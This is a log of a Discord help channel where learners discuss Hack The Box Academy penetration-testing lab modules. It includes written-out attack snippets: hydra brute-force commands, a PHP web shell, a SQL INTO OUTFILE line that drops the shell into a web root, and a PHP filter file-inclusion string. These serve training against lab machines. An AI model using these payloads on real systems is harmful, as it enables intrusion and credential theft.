#modules

1 messages · Page 92 of 1

zinc marsh
#

u just setting $ne parameter to a variable

#

variable[parameter]

onyx rapids
#

Ok, might take my brain a while to adapt to this section

thorn urchin
#

cause devs are thinking just like you and not realizing the parameters can be tampered in such a manner

onyx rapids
#

Also, reason #500 why learning to code is important in this line of work. Everyone says it isn't necessary, but it sure would help tremendously

zinc marsh
#
  db.collection('tasks').find({ status: { $ne: 'completed' } }).toArray(function(err, result) {
    if (err) {
      console.error('Error executing query:', err);
      return;
    }```
zinc marsh
thorn urchin
zinc marsh
#

maybe u dont need necessarily know how to code

#

but u have to understand and interpret the code

onyx rapids
#

Next module will be the Python one. I should have done it before the Advanced SQL Injection module, but I managed to get away with finishing it anyway

rustic arrow
rustic arrow
zinc marsh
#

and is the smb open?

#

or in that port

rustic arrow
steady hawk
steady hawk
#

you put :445

rustic arrow
#

hydra -L usernames.txt -P password.list <IP> smb

rustic arrow
steady hawk
#

Oh, i see

zinc marsh
#

try restarting the machine lol

steady hawk
#

Try CME? That's my go to for bruteforcing smb

zinc marsh
#

that error is for network error

#

or smb not open

rustic arrow
zinc marsh
#

if u try cme to that ip it works?

rustic arrow
zinc marsh
#

grep +

steady hawk
#

| grep '+'

zinc marsh
#

but try it without +

#

to know if it is network error

rustic arrow
#

STATUS_LOGON_FAILURE

#

I think it's not a network issue

zinc marsh
#

someone i can ask for these 2 questions? I think I haven't done it with the intended payload

balmy saffron
#

For the DNS part of common services, I need help.

#

I got 9 subdomains from subbrute

#

none seem to work for the axfr.

#

I edited /etc/hosts with target IP and tried also with the IP found using the host command.

#

It still shows connection problems.

#

What I am doing wrong?

analog urchin
#

Hey peeps wizard Can somebody explain this to me, I am confused of why it happened:

I see on this example they set the session to 2, because that's where the first exploit happened. To now execute the post-exploit. All good so far...

#

But then why here they switch to session 3? 🤣 I just don't wanna miss what's actually happening

#

When they focused the local suggester to session 2 it was to find local escalation exploits. But then when they are going to execute it (ms10_015_kitrap0d) they use session 3? but What would be on session 3? Shouldn't it be the same session where the first exploit connection happened (session 2)?

#

Module: Using the Metasploit Framework
Section: Introduction to MSFVenom

marsh herald
#
const token = ""; //Current Token For Discord Auth
const urpassword = ""; //Current Password (Required For API Call)
const username = "" //Your Wanted Username

let xhr = new XMLHttpRequest();

xhr.open('PATCH', '/api/v9/users/@me');
xhr.setRequestHeader('Authorization', token); //Adds Token To Discord Request
xhr.setRequestHeader("Content-Type", "application/json");

xhr.send(JSON.stringify({ "username": `${username}\u009E`,"password": urpassword })); //Send Data

Code For One Letter Username on discord using ascii codes of new line digits

final maple
#

I was confused by this question too. The question is actually asking about password policies in general, not about any particular host. The anwer can be found on the module page. Hit CTRL+F and search for "password" on the page and you should find the answer.

zinc marsh
#

he can repeat what the module does

#

to get the password policy

zinc marsh
analog urchin
#

Like session 2 was for reconaissnce in a way, and the 3rd session was another exploit?

zinc marsh
#

<@&861185840277487616>

#

oh u deleted it already

novel matrix
#

SHOCK, why the ping... oh boi

#

yep hahaha

#

beat ya 2 it

zinc marsh
#

i was referencing that message lol

novel matrix
#

I know

#

I saw when the user posted it in bot commands

zinc marsh
#

u deleted it before i could hit enter

zinc marsh
rotund urchin
#

Has anyone done the Plink pivoting module? I am confused on what I need to do for it.

rotund urchin
zinc marsh
rotund urchin
#

I am, so just run plink to create a tunnel back to my attacking box?

low vine
#

AD enumeration and Attacks in the Credentialed Enumeration - from Linux part Q1
I've converted Decimal 1170 to 0x492 and I'm currently trying to enumerate user via RPCclient using query user 0x492 Can I get a small hint on what I might be doing incorrectly?

#

(Nvm 🙂 remove spaces)

zinc marsh
#

Note: We can attempt this technique in any interactive section of this module from a personal Windows-based attack host. Once you've completed this module from a Linux-based attack host feel free to try to go back through it from a personal Windows-based attack host. Also, when spawning your target we ask you to wait for 3 - 5 minutes until the whole lab with all the configurations is set up so that the connection to your target works flawlessly.

#

it says it in the section

rotund urchin
#

I guess I just dont understand the question. "Attempt to use Plink from a Windows-based attack host. Set up a proxy connection and RDP to the Windows target (172.16.5.19) with "victor:pass@123" on the internal network." .... I already have a SSH tunnel/proxy setup to access RDP on the other host. Not sure how I would use PLINK on the windows box if I wouldnt have access to it without a tunnel already set up.

patent blaze
#

Are there anybody facing any connection problem with Skill Assessment - Broken Authentication ?? I've reseted the target many times, but still times out. Tested in different browser also

zinc marsh
#

use whatever u want from linux

#

If someone have any doubt in a module ask me, i might have done it 🙂

modern falcon
#

Hi, i need help on how to set up port forwarding in the following scenario: attack host -> pivot 1 -> pivot 2. I have been able to set up port forwarding through pivot 1 by running "ssh -D 9050 pivot1" then add "socks4 127.0.0.1" to proxychains.conf. I tried to do the same to set up port forwarding through pivot 2: "proxychains ssh -D 9051 pivot2_ip" l, then add "socks4 pivot1_ip 9051" to the previous proxychains.conf file but it doesnt seem to work. Do anyone know what I did wrong?

fickle thicket
#

i have a question regarding intro to active directory module

both kerberos and ldap performs user authentication.

kerberos is used first to get the service ticket.

then when is ldap used to authenticate?

quasi wave
#

what percentage of CBBH is complete if I complete CPTS path?

iron plaza
#

I am currently doing the Web Service & API Attacks. I used the Wsdler extension then sent the login operation request to repeater and tried to send the request as is but I am getting that error ... why is that?

misty current
quasi wave
#

Are you sure its not 85%?

misty current
#

It's 55% CPTS and CBBH core difference lays in Network pentest and the other being Web App pentest.

quasi wave
#

right and what percentage of CBBH is in CPTS?

#

wait what?

#

I thought CBBH had 55% of CPTS and 85% of CBBH was included in CPTS?

#

no?

misty current
#

I'm not sure, what the percentage for the other way around is. I've worked only on the CPTS modules.

quasi wave
#

ok cool. I will wait for someone else to answer then

misty current
#

If I had to do the maths, it would be around lesser than 50% I guess

quasi wave
#

ok

#

sounds good

low vine
#

dumb question of the night working through CPTS and all the windows boxes have username/password but everytime I use xfreerdp I just get a black box and not able to get in

#

is there a typical cli tool I'm missing?

misty current
#

just hit enter

low vine
#

LOL

#

fml

#

Ty

#

*quietly leaves server

quasi wave
#

Hi, a lot of people do CBBH path before going on CPTS journey. I already started CPTS but I want to be able to bug hunt. I completed first module of CPTS and now I'm doing getting started module which is second module. Would it be terrible if after this module I switched to CBBH?

#

I feel like it would be great to be able to bug hunt so I can make money you know?

low vine
#

You're totally fine to switch as you want

misty current
#

I was suffering from the black screen too, I just thought maybe it's just at the blue warning screen and hitting enter helped lol

quasi wave
low vine
#

Depends on what your goal is

#

CPTS covers many of the same modules

vital quiver
#

i luv cpts path, i did oscp before AD was in my exam, so this is cool

sacred ermine
#

anyone facing trouble while trying to pay for the course?

#

it gives me error

autumn pilot
#

try reaching out to support

sacred ermine
#

okay, thanks, I wrote to an email yesterday, hope soon will get response

iron plaza
lean jackal
#

I am stuck on Credential Hunting in Linux. I got the password for the user kira and am logged in via ssh. Any hint on where to look for the password of user Will please?

frank ermine
#

someone here did the introduction to bash module?

analog dock
rustic sage
#

Hello im in password attacks hard lab, i have a file.vhd but is bitlocker encript i try to crack it and i hve a pass but when i try to mount it doesnt work, somebody could help?

vital adder
clever hedge
#

Hey i need a discord bot made specifically for my server think of it as a challenge and ill explain the details on our dms

vital adder
#

yeah this isn't the place for that, if you are new here read #welcome and #rules and maybe ask that in #general

#

this channel is for HTB academy modules

vital adder
iron plaza
analog dock
# rustic sage thanks!

And if that doesn’t work for you, you can also mount it to your windows host. It’s a lot easier

#

That’s what I ended up doing

vital adder
#

i do that the first time i solve that assessment 🤣

ripe elbow
#

hello gus

#

I have encountered some problems, I tried to brute force ftp, ssh, smb but can't get the initial credentials, can someone give a hint?

ripe elbow
#

Password-Attacks.zip

analog dock
rustic sage
#

is not rockyou

ripe elbow
#

yes i am not using rockyou

#

hydra -L ./username.list -P ./password.list 10.129.202.64 ftp -t 64

#

Like this, but trying to brute force various services, nothing works

round gale
#

hi, trying the linux privilege assessment room, trying to figure out how to get flag2.txt, any ideas would be appreciated?

rustic sage
#

you create it

autumn pilot
sacred gust
#

hi., i need to contact an administrator, how so ?

narrow solar
#

morning buddies, at passwords attacks lab - hard, i got the backup at my attack host, i am trying to mount it but it require key or passphrase for ("/dev/sda2"), i tried everything i could get from the vault and searched every file in the shares and sys but got nothing, am i at the right path?

acoustic owl
autumn pilot
autumn pilot
sacred gust
#

i read the welcome page, thus i needed to authenticate the account identifier. that being said, i made 3 mistake attempts, so it say that i need to get a support from the admin, contacting the bott is not working anymore

sacred gust
autumn pilot
#

read the error message you are getting again

sacred gust
narrow solar
narrow solar
autumn pilot
#

research

shut juniper
#

heya! I am in 3rd world country and the pwnbox instance is kinda slow to run. Is it possible to use my own vm with kali installed in it and interact with target for be to be able to finish the module? Thank you!!

autumn pilot
#

yes

shut juniper
#

Thank you so much for the quick response @autumn pilot !

whole grotto
#

Hey ! i'm stuck in the live engagement of the module "shell&payloads", when i run the exploit for the host 2 msf returns this : Unexpected json response, and idk why. Can someone help me ?

round gale
sick mural
#

Hi everyone, Module:PIVOTING, TUNNELING, AND PORT FORWARDING Chisel lab , On pivot box(ubuntu) I have transferred chisel but i cannot execute the binary as it needs some glibc library . To recompile chisel i need to install go and go cannot be intalled as internet is not on ubunt box. Can anyone advise the way out to run chisel on pivot box?

heady tusk
#

you'll have to recompile it on your machine and then transfer the new binary over. Make sure you set the flag export CGO_ENABLED=0 before compiling to fix the issue

fiery berry
sick mural
#

Ohh got this. I think its better using compiled version . Gonna trie the compiled 1.8 version this time.

#

Many thanks for pointing in right direction.

left pond
gaunt monolith
#

Hi I’m in password attack module in password mutation to solve questions I made mut_password.list depending on custom.rule so when using hydra with sam user I can’t solve question and I try to use crackmapexec still not working any hint ?

vital adder
#

hint remove the first 17000 word

frank ermine
#

can someone maybe help me with the answer to the loop control part of the bash introduction module? ive been trying to finish it for a couple hours and im pretty sure my script is ok but it refuses to run no matter what i do

sick mural
#

talk with chatgtp may be it can pinpoint the mistake in your loop

round gale
autumn pilot
#

it is simpler than you think, don't overcomplicate it

round gale
#

k

frank ermine
round gale
#

checkin in gtfobins , found that command

#

executed it as shown in gtfo, but i am stuck,. no idea what to perform next

autumn pilot
#

if you have executed the command in the shown sequence, then you will have a shell

round gale
#

where to put in the second part of that command , ocne i type in the fiorst part of the command . i get some output

#

and the second part of the command as shown in gtfo bins is executed as a separate command

#

!/.... not found

gaunt monolith
vital adder
#

yeah that's the hint is for that section the right password for the sam user is 17000+ word deep so remove the first 17000 word make the brute forcing much faster

brittle umbra
#

Can someone help me out with shells&payloads module live engagement host3? solved

heady tusk
#

sure

gaunt monolith
#

Great… I use this command to remove first 17000 word # sed -i ‘1,17000d’ mut_password.list this make my file empty to check how words I have I’v just 1504 words

heady tusk
#

then your mut_password is broken. should be much larger than that

sacred ermine
#

can anyone help me with Exploiting Web Vulnerabilities in Thick-Client Applications?

gaunt monolith
#

IDK why I have just this word actually I used this command to generate mtu_pass #hashcat —force password .list -r /usr/share/hashcat/rules/custom.ruls —stdout l sort -u >mut_pass I make my custom rule depending on ‘Hashecat rule file ‘ section

vital adder
#

use the given rule not that rule

#

wait a sec there is no rule with that name in the default hashcat rule? (i check on the pwnbox)

gaunt monolith
#

No in your kali you should make our rule or use default rule

#

I will try on best64.rule

vital adder
#

just use the given rule in the resources

flint chasm
#

Hello all
I'm just doing Attacking Common Services > Attacking FTP and I got a problem at the beggining
There is no ftp port open 21 and also 2121
Any ideas what is going on?

autumn pilot
#

give the machine 3-4 minutes for the services to load, and if they haven't reset the target

sacred ermine
flint chasm
#

I was trying it

#

😦

#

any other ports are visible but ftp is not working don't know why

sacred ermine
flint chasm
#

I also terminate and set up the target

sacred ermine
gaunt monolith
flint chasm
sacred ermine
#

patience comes second right after knowledge

#

you have powershell?

flint chasm
#

I'm 7 years with my fiance, I'm soo patience XD

sacred ermine
#

you killed that

flint chasm
#

thanks, have a nice day

#

!!!

sacred ermine
#

I will send you example

sacred ermine
#

check dm

hidden elk
#

I'm doing the last chapter of Getting Started module, the box called gettingstarted. I get the user flag, logged as www-data user and having difficulties on getting root.
I found out:
||I can execute a symbolic link as sudo but when I execute it nothing happens, I tried to edit the pointing path but I got permission denied.
I found out that the sudo version is 1.8.31 and there is an exploit but executing it was unsuccessful and honestly I dont know what parameters it is asking for.
I am guessing that maybe I have to become user mrb3n and then do something else... or find the SSH key somewhere and log in as mrb3n i dont know...||

I need hints I dont want to check the writeup, please point me in the right direction.

autumn pilot
#

what is the command that allows running the specified command as a certain user, how can you check for that particular command

lone hemlock
#

Hello, i really need help for one of the modules , i think is a bug or something

autumn pilot
#

it helps if you specify the module name and section, and eventually on which question

lone hemlock
#

Attacking Enterprise Networks - Active Directory Compromise

#

The question:
After obtaining Domain Admin rights, authenticate to the domain controller and submit the contents of the flag.txt file on the Administrator Desktop

gaunt monolith
lone hemlock
#

$group = Convert-NameToSid "Server Admins"

#

this one gives me nothing

misty current
#

Convert-NameToSid that's a powerview function right? Have you imported the PowerView module?

lone hemlock
#

yeah

autumn pilot
#

well you are assign the command to a variable, until you call that variable in a subsequent command it will not return anything

lone hemlock
autumn pilot
#

what if you run the command without assigning it to a variable as scriptie suggested

lone hemlock
#

im running this as admin

hidden elk
# autumn pilot what is the command that allows running the specified command as a certain user,...

The only command I know so far is ||sudo -u mrb3n /usr/bin/php|| but I had the same result, no output.
I found out this:
||```
www-data@gettingstarted:/tmp$ sudo -l
Matching Defaults entries for www-data on gettingstarted:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php

I am afraid it might be a rabbit hole and not the right direction.
autumn pilot
#

if it had to be ran as that user, it will specified in the output below

#

focus on ||(ALL : ALL)||

#

also, think if it this could be in GTFObins

misty current
untold lily
#

regarding the hard lab in password attack, when i try to mount the bitlocker drive on a windows host i get a "Your account doesn't have permission on the domain to mount this file". When i try to mount it on Linux using dislocker and losetup (as was mentioned by Payload Bunny) i get "[CRITICAL] Cannot parse volume header. Abort." Any help would be greatly appreciated!

lone hemlock
autumn pilot
#

run the command outside of the variable you have assigned

#

Convert-NameToSid - converts a given user/group name to a security identifier (SID)

misty current
#

Yeah, I thought the problem would be with Aliases. not the case here.

autumn pilot
#

Have you succesfully imported powerview?

lone hemlock
#

yeah

autumn pilot
#

you are running a different command, than the one already showed

lone hemlock
misty current
#

Also can you try giving the domain name behind the Group name

#

DOMAIN\GROUP

autumn pilot
#

the command is Convert-NameToSid and not "Convert-ToSid"

lone hemlock
#

it's the same...

#

i already try these

autumn pilot
#

Can you list the files on the desktop

misty current
lone hemlock
#

wont work

misty current
#

Oof.

lone hemlock
#

it's shit

misty current
#

Can you list Server admins using net group

autumn pilot
#

you can also use sharpview binary

lone hemlock
#

damn

#

wtf

misty current
#

Maybe try closing the session and import the modules to a new one and try again.

#

Powershell session*

analog dock
#

@untold lily can you check the md5sum of the vhd?

lone hemlock
#

i got it..

misty current
#

what worked lol

untold lily
analog dock
#

I had the same problem at first

untold lily
#

how about the windows method. why is it requiring me to have permission to mount it?

analog dock
#

The md5sum is not the same so I doubt you can even mount it, since it’s corrupted

#

Try another way of transferring, if the md5sum is the same, the windows method will work

sacred ermine
#

javac: file not found: fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
Usage: javac <options> <source files>
use -help for a list of possible options

I am getting this error what can I do

Exploiting Web Vulnerabilities in Thick-Client Applications

analog dock
lone hemlock
untold lily
misty current
#

How does one dump sam/lsa using a local administrator account in secretsdump.py You can do that in cme but can you in secretsdump?

slim pelican
#

Did you find a solution for this? Facing the same issue

sacred ermine
#

Guys, I need help with Exploiting Web Vulnerabilities in Thick-Client Applications

where should I drop this code? exactly at which line?(see below)

import java.io.FileOutputStream;
<SNIP>
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
this.action = new ActionMessage(this.sessionID, "open");
this.action.addArgument(foldername);
this.action.addArgument(filename);
sendAndRecv();
String desktopPath = System.getProperty("user.home") + "\Desktop\fatty-server.jar";
FileOutputStream fos = new FileOutputStream(desktopPath);

if (this.response.hasError()) {
    return "Error: Your action caused an error on the application server!";
}

byte[] content = this.response.getContent();
fos.write(content);
fos.close();

return "Successfully saved the file to " + desktopPath;

}

while editing fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java

sacred ermine
#

I did

#

look for other Disks

#

there are other ones

#

dm me

faint rampart
misty current
#

I'm not talking about techniques or tool outside of secretsdump.py in this case

#

Just a thought that crossed my mind whethere secretsdump.py can do it because crackmapexec can

plain sleet
#

thanks managed to resolved it. can i check for the 2nd part of the assessment, if you have managed to performed a stack query + rce using postgresql library?

foggy light
#

Module: Kerberos Attacks
Section: Unconstrained Delegation - Users
I have got the .ccache file. But I cant do DCSync Attack

pine dagger
misty current
#

Linux Prive Esc just got bigger

foggy light
#

50% incease

misty current
#

Yup lol

foggy light
autumn pilot
#

which SPN have you used?

naive field
#

im doing web proxies, encryption and decription section

#

i get the base64 - i decrypt it three times then i get this `||JTQ4JTU0JTQyJTdiJTMzJTZlJTYzJTMwJTY0JTMxJTZlJTM2JTVmJTZlJTMxJTZlJTZhJTM0JTdk|| what is this? in the hint is says use b64 and html encoding but this is not html encoding lol

heady tusk
#

Well it could be multiple layers of encoding

#

If you tried 3 layers and it still looks weird, might be 4, might be more 🤷🏼‍♂️

naive field
heady tusk
#

Have you tried though?

naive field
#

just saying doesnt look like b64 xd

pine dagger
heady tusk
#

If the character set matches it's always possible. Decoding is always a bit guessy

heady tusk
pine dagger
fallen epoch
#

Can I get some help with the Footprinting module? Specifically the IMAP/POP3 section

misty current
misty current
fallen epoch
#

Ah ok

#

I'm stuck at the question about finding the admin's email address

#

I can authenticate to the IMAP server using OpenSSL but there are no emails in the inbox

#

I'm not sure if I'm doing something wrong or looking in the wrong place

#

The next question also needs me to access the emails in the IMAP server but I just get 0 emails listed there

misty current
#

You can use Evolution to make it easy, but it's not the intended way.

fallen epoch
#

This is what i see in the IMAP server

#
* LIST (\Noselect \HasChildren) "." DEV
* LIST (\Noselect \HasChildren) "." DEV.DEPARTMENT
* LIST (\HasNoChildren) "." DEV.DEPARTMENT.INT
* LIST (\HasNoChildren) "." INBOX
#

Now i just noticed that DEV and DEV.DEPARTMENT have \HasChildren

#

But I can't figure out how to select them

frank ermine
#

Should i go for the windows and windows command line introductions if i already did the tryhackme ones and i have experience with both?

lethal shard
#

Hello! Could you give a hint for Abusing HTTP Misconfiguration Skills Assessment - Easy? Solved Hard, but this I can't understand. Tried a lot of ||session puzzling|| combinations. Sorry for tagging @pine dagger, can't DM you, we already discussed with you this module

void temple
#

Why can't i start an instance for the Linux Privilege Escalation room

tiny lynx
#

Hi all I have been stuck on Attacking Email Services a few days now and i cannot figure out what im doing wrong, i found the user but when i try to brute the password either with the provided list or Rockyou i get no hits i have tried "username" and "username@inlanefreight.htb" and still no luck

lunar trout
#

👋 Hi everyone!
Can someone please help me with "Identify how many zones exist on the target nameserver. Submit the number of found zones as the answer" from "Active Subdomain Enumeration" module?
FYI, I have completed all Questions from the module, and have found the answer from the aforementioned question as well. But I still feel like I managed to find it by trying out things rather than being certain about it.
I went through various links posted in previous threads (like https://www.cloudflare.com/learning/dns/glossary/dns-zone/ and https://ns1.com/resources/dns-zones-explained) but I feel like what I found in those links does not reflect what the question was actually asking for.
Can I DM someone that can help me as to why the answer is the specific one, and what defines a "zone"?

Cloudflare

A DNS zone is an administrative suvdivision of the DNS namespace.

heady tusk
heady tusk
zinc marsh
#

is it the file inclusion module bugged?

#

i have no button to click in complete

heady tusk
#

hard reload the page maybe?

zinc marsh
#

i just wrote it in my notes

zinc marsh
#

i did ||/usr/share/flag/flag.txt|| just guessing the flag

zinc marsh
heady tusk
#

I don't remember any ||/usr/share/flag|| directory. which section is that?

zinc marsh
#

Submit the contents of the flag.txt file located in the /usr/share/flags directory.

autumn pilot
gaunt monolith
#

Hi I’v problem when use pypykatz on my machine to break lsass.dmp anyone know who can I solve it ?

#

I search in google but I didn’t find anything

zinc marsh
autumn pilot
#

you have mistyped one of the directories

zinc marsh
#

ah well flags*

gaunt monolith
misty current
#

have you tried pip installing msldap?

zinc marsh
# gaunt monolith Error is no module named ‘msldap.commons.url ‘

To resolve this issue, you can try the following steps:

Verify installation: Confirm whether you have installed the 'msldap' module and its dependencies correctly. You can use the following command to install it via pip:

Copy code
pip install msldap
Upgrade the module: If you already have 'msldap' installed, you can try upgrading it to the latest version using the following command:

css
Copy code
pip install --upgrade msldap
Check import statement: Ensure that you are importing the module correctly in your Python code. The import statement should be:

python
Copy code
from msldap.commons.url import LDAPURL
Check module availability: If you have installed 'msldap' but still encounter the error, it's possible that the module doesn't include the 'msldap.commons.url' submodule in its latest version. In that case, you might need to consult the documentation or contact the module's maintainers to confirm if the submodule has been renamed or removed.

Environment isolation: If you are working in a virtual environment, make sure you have activated the correct environment where 'msldap' is installed.

By following these steps, you should be able to resolve the "No module named 'msldap.commons.url'" error.```
gaunt monolith
golden vortex
#

Attacking Common Applications
Attacking GitLab Find another valid user on the target GitLab instance. I have found 11 usernames but none of them work. what wordlist do i use?

gaunt monolith
soft folio
#

Hi! I have question regarding XSS module Section Hijacking. Who can assist?

errant hawk
#

I'm considering giving the Info sec foundations a go as I've not really tried learning anything about pen testing etc before as I'm fairly new to IT career just wanted to hear what people think of the paths and modules from hack the box etc

thorn urchin
#

InfoSec foundations is def a good starter for you then

abstract vapor
#

can anyone give me a HINT in "Active Directory Enumeration & Attacks " "Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux" section's last question? how can i login to ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL

autumn pilot
#

from the provided attack host you can reach the machine

abstract vapor
#

i have sapsso user and it's password. i tried to login with those credentials using psexec but didn't worked

#

any other idea?

autumn pilot
#

you are on the right path, focus on how you need to construct the command

abstract vapor
#

is any mistake in command?

autumn pilot
#

the IP from what I can see and maybe you can work on the netbios name

gaunt monolith
abstract vapor
#

i dont have other idea which IP should i use

autumn pilot
#

freightlogistics != inlanefreight

#

both are different domains

dull vortex
#

I am working on attacking common services, attacking ftp, and I am either getting no results for the username available on the server, or I am getting the user for the SMB section. I am using hydra and the lists provided on port 2121. I see that some other people have had this issue but not resolution to the problem was posted in the discord. Am I missing something here?

autumn pilot
#

are you using the provided username and password lists?

dull vortex
#

yes

autumn pilot
#

Is the port 2121 opened or closed?

dull vortex
#

it was open yesterday when I was having the issue, and just now it was closed... I just restarted the target and I am running hydra again. Confirmed that I have the correct lists being used too.

#

It found no valid passwords

#

using -t 64

#

target is up

#

no results

autumn pilot
#

there are other wordlists

#

have you tried anonymous logon?

acoustic owl
autumn pilot
dull vortex
#

and rockyou says it is going to take mutiple days to finish

autumn pilot
#

rockyou is not the wordlist you have to use

tiny lynx
dull vortex
#

and not the provided one either?

autumn pilot
#

there is another one that is provided, but you must find it

#

and you must get it

acoustic owl
tiny lynx
autumn pilot
#

that exercise has a twist

zinc marsh
#

am trying to decode a file from base64 how can i do it?

#

am tryin cat file | base64 -d
base64 -d /tmp/file

misty current
#

hmm, that should work tho. If it ain't too long try putting the same on cyberchef and see what you get

zinc marsh
#

it is long

misty current
#

it's invalid

#

where'd you get it from?

zinc marsh
#

/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

misty current
#

Ah PHP wrappers

#

you've prolly messed up somewhere on extracting the base64 I guess

#

try outting it to a file directly with curl -s

dull vortex
tiny lynx
dull vortex
#

that is the one I have been using with no results

tiny lynx
#

I remember having some problems with the FTP one I had to redeploy the vm a few times

autumn pilot
faint swan
#

hellooo I'm working on Linux Privilege Escalation today, and the content update looks neat!! I'm having trouble booting the new VM though—is that to be expected since it's new and I should try again in a few hours, or is there something for me to update or troubleshoot?

VMs failed to spawn. If this persists please contact support.

zinc marsh
#

any hint?? i tried a lot of payloads but i dont get it work

#

nvm i was using the my ip from yesterday and that is why i couldnt get the shell lol

lilac shuttle
#

there's a mistake on module 19 section 102 Filtered Ports > 443, but it's supposed to say port 139

coral wraith
#

What's the contents of table flag10? (Case #10):
--random-agent

faint swan
acoustic zinc
#

Existe algun modulo para aprender pentesting en android?

acoustic zinc
#

thanks

zinc marsh
thorn urchin
acoustic zinc
#

ok, only english, and very thanks

zinc marsh
#

also MacOS

rustic sage
#

can anyone help me on the Attacking Common Services: Easy Lab, I'm having trouble figuring out how to upload my reverse shell to C:\xampp\htdocs. I've tried a few methods with no luck

acoustic zinc
rustic sage
zinc marsh
rustic sage
#

||SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE 'C:\xampp\htdocs\hell.php";||

rustic sage
rustic sage
zinc marsh
#

yea

zinc marsh
#

u doing INTO OUTFILE 'PATH"

rustic sage
#

||SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE "C:\xampp\htdocs\shell.php";||

coral wraith
#

What's the contents of table flag11? (Case #11):
"link"
--tamper=between

rustic sage
sullen nebula
#

hey can anyone provide a bit of help I'm trying to do active directory enumeration and attacks and the rdp creditials are saying incorrect via my local kali and the pwnbox u got any solutions

rustic sage
zinc marsh
#

why u have \\

zinc marsh
rustic sage
# zinc marsh why u have \\\\

i just experimented it out because of this MariaDB [(none)]> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE "C:\xampp\htdocs\l.php"; ERROR 1086 (HY000): File 'C:xampphtdocsl.php' already exists even tried with \ same the blank page

sullen nebula
#

they are the creditials provided by htb copied and pasted

sullen nebula
#

like it I just need to run inveigh but I can't rdp to do so

sullen nebula
#

I'll try now

zinc marsh
rustic sage
sullen nebula
#

should be pointed out that xfreerdp gives me a black screen rdesktop will remote but invalid password

rustic sage
rustic sage
#

ig im making some dumb mistake

sullen nebula
zinc marsh
sullen nebula
#

although it just booted me off and is now failing to connect at all

summer lava
#

who else having the same problem like me on WINDOWS PRIVILEGE ESCALATION MODULE, the RDP sessions are not stable or it is from my network ?

thorn urchin
summer lava
#

just VPN

thorn urchin
#

ah dunno then

rustic sage
zinc marsh
#

someone could help me

#

||i created a file called shell.php in /var/www/html||

#

||and i changed the php.ini parameter:
disable_functions = system,exec,shell_exec||

#

i restarted the page and im asking for the shell but nothing

#
                                                                                                                    
┌──(root㉿kali)-[/usr/…/wordlists/seclists/Fuzzing/LFI]
└─# curl http://10.129.x.y/shell.php&cmd=id
[1] 186854
                                                                                                                    
┌──(root㉿kali)-[/usr/…/wordlists/seclists/Fuzzing/LFI]
└─# 
[1]  + done       curl http://10.129.x.y/shell.php```
thorn urchin
#

whats your shell.php

zinc marsh
#

<?php system($_GET['cmd']); ?>

thorn urchin
#

Cool

#

now read the questions again

zinc marsh
#

-.- yea

#

i was trying to get the error shown in the screen lol, thanks

balmy saffron
#

hello, when I run subbrute.py is it normal it returns :
No nameservers found, trying fallback list?

thorn urchin
#

it wont show in the screen, gotta fetch the error log itself

balmy saffron
#

yes in lab.

thorn urchin
#

gotta change the nameservers

balmy saffron
#

in resolvers.txt?

thorn urchin
#

by default tool assumes real world internet, not internal lab environment

#

ye

balmy saffron
#

thx

#

the results are in ".com" instead of ".htb". Is this normal as well?

thorn urchin
#

depends

zinc marsh
#

if i remember well

balmy saffron
#

I get the correct results now...

rotund urchin
#

Can I DM someone about the pivot/tunneling section and using rpivot? I have the tunnel set up, but not having luck getting the flag

thorn urchin
#

or cheat and dont use the pivots they recommend

#

ligolo-ng and chisel are gods

zinc marsh
#

this tool is god

visual depot
#

Ohh k

zinc marsh
fringe shell
#

Module: Active Directory Enumeration & Attacks
Section: DCSync
Problem: Trying to use impacket-secretsdump to perform the DCSync from Kali but keep getting "STATUS_NO_SUCH_DOMAIN". Anyone see any glaring issues with my command? I've already gotten the answer with mimikatz, but it'd be good to know what i'm doing wrong here.

modern falcon
#

Like it suggest, add -Pn

fringe shell
#

are you connected to the vpn? can you ping the address? what module/section are you doing?

zinc marsh
#

What is this user's cleartext password?

fringe shell
fringe shell
# zinc marsh that isnt the ip

I'm not sure i understand what you're saying...

I also tried impacket-secretsdump -just-dc -dc-ip 172.16.5.25 inlanefreight/adunn...etc...

zinc marsh
#

do this module first

zinc marsh
#

and they give u an account to log in with ssh

#

if im right

#

or if u want do it from ur machine just do a dynamic port forwarding to the ssh

fringe shell
#

it was rdp

zinc marsh
#

ssh htb-student@172.16.5.225

#

i have this in my notes

fringe shell
#

port 22 isn't open

zinc marsh
fringe shell
#

oops, now i remember lol have to use their parrot box

zinc marsh
#

do ping sweep if u need

#

but the ip is in the section as well

fringe shell
#

yeah its 5, i did get-domaincontroller

zinc marsh
#

well gn gl

fringe shell
#

👌 cheers

modern epoch
#

the academy has been a pretty fun journey. I learned a lot through all these modules so far, let's continue hacking! 😎 💪

fringe shell
umbral cloud
#

Can anyone point me in the right direction?

#

Im stuck on AD enum&attacks assessment part 2 with the question "Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in the file?" I have found all other users and there credentials and have answered every other question in the assessment. i have enumerated sql01, ms01, dc01, several times over and rummaged through rpc mssql and smb shares on every host and I am stumped on where the hell im suppose to look. can someone give me a clue to what im looking for?

#

I have had a 2 day long headache trying to find this file just looking through files and folders and now im just completely burnt out trying to figure this out

autumn pilot
#

which tools have you tried so far

umbral cloud
#

crackmapexec, responder, windapsearch, inveigh, kerbrute, several impackey python scripts: secretsdump mssqlclient smbclient mimikatz and a few others i cant remember right now

#

rpcdump rpcclient

#

evil-winrm

#

powerview

autumn pilot
#

well, you need to search for a configuration file, most of the tools that you have mentioned won't be much of help

#

